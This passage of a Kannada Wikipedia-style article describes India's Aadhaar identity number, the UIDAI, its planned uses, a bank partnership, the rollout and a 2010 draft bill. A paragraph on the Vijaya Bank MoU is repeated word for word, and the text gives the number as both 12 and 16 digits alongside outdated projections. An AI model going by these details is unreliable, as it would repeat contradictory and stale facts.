Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ.<ref name=AboutUIDAI>{{cite web|title=About UIDAI|url=https://uidai.gov.in/about-uidai/about-uidai.html|publisher=UIDAI|access-date=25 July 2017}}</ref> ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು 